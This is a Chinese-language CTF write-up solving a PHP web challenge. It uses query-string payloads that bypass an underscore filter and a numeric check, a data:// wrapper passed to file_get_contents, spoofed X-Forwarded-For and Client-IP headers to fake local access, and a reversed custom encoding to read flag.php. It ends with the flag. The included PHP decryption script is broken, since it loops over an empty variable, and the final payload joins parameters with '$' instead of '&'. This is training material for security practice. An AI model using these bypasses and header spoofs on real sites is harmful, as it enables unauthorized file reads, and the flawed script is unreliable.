访问页面,查看源代码,有一段PHP代码提示;
首先可以看到对输入的参数做了过滤,我们需要让b_u_p_t这个参数的值等于23333,但是不能是数字形式,而且第一个if会过滤下划线;
如果用空格,也就是%20代替下划线,可以起到同样的效果;
如果数字字符串到末尾遇到换行符,即%0a,会将数字字符作为字符串处理;
所以payload为
?b%20u%20p%20t=23333%0a
访问后,得到信息,尝试修改一下XFF;
修改发送,但是没有用,看了一下源码,这东西好像在知乎上看到有人发过;
了解了一下,是jsfuck编码;
用jsfuck.com解码一下,得到信息;
我直接用hackbar传参了;
得到新的信息;
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file']));
}
?>
首先我们要让2333===‘todat is a happy day’,这可以借助data伪协议来传输;
?2333=data:text/plain,todat is a happy day
这样才能显示change()方法执行后的结果;
其次我们需要给file参数赋值,需要分析一下change()方法;
首先会做一个base64解码;
其次遍历字符串,
然后,各字符ASCII码值+2*在字符串中的位置(从0开始),拼接为re,将re转为字符;
最后返回re
作用相当于一个简单的加密算法;
脚本解密一下;
<?php
$v = "";
function decrypt($re){
for($i=0;$i<strlen($v);$i++){
$v.=chr(ord($re[$i])-$i*2);
}
$v = base64_encode($v);
echo $v;
}
?>
我们需要使
$re='flag.php'
因为这样file_get_contents(“flag.php”)即可获得flag.php的内容;
因此,调用解密脚本,使re=“flag.php”;
得到
ZmpdYSZmXGI=
因此完整payload为
?2333=data:text/plain,todat is a happy day$file=ZmpdYSZmXGI=
上传试试
结果还有IP的问题;
换成Client-ip的请求头;
成功拿flag;
flag{1bd6a8e8-6681-4376-8715-f29d0fc6389e}